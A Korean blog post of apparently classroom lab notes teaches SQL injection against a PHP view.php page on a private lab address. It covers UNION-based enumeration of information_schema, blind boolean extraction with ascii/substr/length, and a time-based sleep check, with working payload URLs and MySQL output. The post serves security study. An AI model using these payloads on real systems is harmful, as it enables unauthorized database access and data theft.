반응형

어제는 php에 루프가 있었기 떄문에 취약점을 분석해서 공격을 했어도


데이터 베이스를 볼 수 있었지만 루프를 빼면 볼 수가 없습니다.


이럴 땐 노가다로 일일히 해야합니다




* limit 문 배열처럼 limit x,y x부터 y갯수만큼 칼럼을 보여줍니다.





[실습]


 600번째 칼럼의 이름은?


 앞에 select 문의 한개가 있기때문에 601번쨰로 구해야함을 유의해야합니다


http://192.168.12.241/view.php?no=1 union select 1 ,table_name,column_name from information_schema.columns limit 600,1


->SELECT * FROM news WHERE no=1 union select 1 ,table_name,column_name from information_schema.columns limit 600,1





조금 더 극한 상황으로 가보도록 하겠습니다


이번엔 출력되는게 아무 것도 없는 상황으로 가보도록 하겠습니다.




이런 식으로 아무것도 나오지 않는것을 볼수 있습니다


하지만 참과 거짓은 판독이 되는걸 알 수있습니다


*참일때



*거짓일때





1. 글자 한개씩 가져오기 substr


mysql> select substr('hello, injection',1,5);

+--------------------------------+

| substr('hello, injection',1,5) |

+--------------------------------+

| hello                          |

+--------------------------------+

1 row in set (0.08 sec)




1번쨰 row, 1번쨰 글자

substr((select column_name from columns limit 0,1),1,1)



2.글자 한개를 숫자로 바꿔주기 ascii


ascii(substr((select column_name from columns limit 0,1),1,1))


-> 67


mysql> select ascii(substr((select column_name from columns limit 0,1),1,1));

+----------------------------------------------------------------+

| ascii(substr((select column_name from columns limit 0,1),1,1)) |

+----------------------------------------------------------------+

|                                                             67 |

+----------------------------------------------------------------+

1 row in set (0.12 sec)



이렇게 참이면 1이 뜨는걸 확인 할수 있습니다



웹에서 작동해보도록 하겠습니다.


http://192.168.12.241/view.php?no=1 and ascii(substr((select column_name from information_schema.columns limit 0,1),1,1))=67





[실습]


-웹에서 확인


- 560번째 컬럼의 이름은?


일일히 주소에 부등호랑 등호로 적어 노가다로 한 글자씩 구하면 이렇게 나옵니다


마지막은 계속 null이나오므로 그 뒤는 생략


아니면 길이를 재도 됩니다



mysql> select length((select column_name from information_schema.columns limit 559,1));

+--------------------------------------------------------------------------+

| length((select column_name from information_schema.columns limit 559,1)) |

+--------------------------------------------------------------------------+

|                                                                        8 |

+--------------------------------------------------------------------------+

1 row in set (0.05 sec)


[98,103,95,105,109,97,103,101]


이걸 파이썬 코드로 돌려보면


답은 bg_image



답이 맞았음을 알 수 있습니다.



아주 극단적인 상황으로 만들어 보겠습니다.



이 코드는 참 거짓도 판단을 할 수가 없습니다.


하지만 Injection이 가능한지 분석해보도록하겠습니다


http://192.168.12.241/view.php?no=1 and 1=1 and sleep(10)



왼쪽위를 보면 sleep이 걸려서 로딩중인것을 볼 수가 있습니다.


하지만 네트워크 때문인제 sleep때문인지 명확하게는 알 수 없습니다.


이렇게 Injection이 가능한 것을 볼 수 있습니다.

  • 네이버 블러그 공유하기
  • 네이버 밴드에 공유하기
  • 페이스북 공유하기
  • 카카오스토리 공유하기